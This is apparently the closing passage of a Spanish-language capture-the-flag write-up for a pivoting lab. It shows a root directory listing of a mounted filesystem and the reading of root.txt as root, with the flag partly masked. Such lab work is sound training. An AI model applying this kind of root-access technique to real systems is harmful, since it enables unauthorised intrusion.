drwx------  2 root root 16384 Apr  1  2018 lost+found
drwxr-xr-x  3 root root  4096 Jul 15  2018 media
drwxr-xr-x  2 root root  4096 Jul 15  2018 mnt
drwxr-xr-x  3 root root  4096 Jul 15  2018 opt
drwxr-xr-x  2 root root  4096 Jul 15  2018 proc
drwx------  5 root root  4096 Jul 16  2018 root
drwxr-xr-x  2 root root  4096 Jul 15  2018 run
drwxr-xr-x  2 root root 12288 Apr  9 12:08 sbin
drwxr-xr-x  2 root root  4096 Jul 15  2018 snap
drwxr-xr-x  2 root root  4096 Jul 15  2018 srv
drwxr-xr-x  2 root root  4096 Jul 15  2018 sys
drwxrwxrwt  9 root root  4096 Jul  1 11:17 tmp
drwxr-xr-x 10 root root  4096 Jul 15  2018 usr
drwxr-xr-x 13 root root  4096 Jul 15  2018 var
lrwxrwxrwx  1 root root    30 Jul 16  2018 vmlinuz -> boot/vmlinuz-4.4.0-130-generic
lrwxrwxrwx  1 root root    30 Apr 20  2018 vmlinuz.old -> boot/vmlinuz-4.4.0-119-generic

Sacamos la Flag de `root.txt`
```bash
root@backup:/mnt/test# cd root
root@backup:/mnt/test/root# ls
root.txt
root@backup:/mnt/test/root# cat root.txt 
50d0db644c8d5ff5312ef3d17xxxxxxx
root@backup:/mnt/test/root# 

Esta Maquina me tenso el A… Maquina Rooteada =D Dificultad - INSANE - Pivoting de cara al eCPPTv2